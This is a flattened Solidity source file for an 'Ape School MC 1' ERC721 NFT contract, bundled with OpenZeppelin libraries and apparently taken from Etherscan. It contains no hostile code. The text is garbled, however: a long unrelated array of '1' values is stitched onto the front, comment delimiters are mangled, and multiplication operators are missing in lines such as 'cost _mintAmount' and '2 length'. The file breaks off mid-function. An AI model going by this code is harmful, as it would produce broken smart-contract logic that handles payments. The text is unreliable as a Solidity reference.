1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-18 / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/ApeSchoolMC1.sol /* !Disclaimer! This contract is used to create first NFTs of the Ape School This NFTs are used as certificate of participation and they are rewarded to all pariticipants of the first masterclass APE SCHOOL NFT / pragma solidity >=0.7.0 <0.9.0; contract ApeSchoolMC1 is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0 ether; uint256 public maxSupply = 27; uint256 public maxMintAmountPerTx = 27; bool public paused = true; bool public revealed = true; constructor() ERC721("Ape School MC 1", "ASMC1") { // setHiddenMetadataUri("ipfs://__CID__/hidden.json"); setUriPrefix("ipfs://QmTvBSqAqpqacmavF1SMvsBoe4fUDErKM95r8WMRgsXD7g/"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = 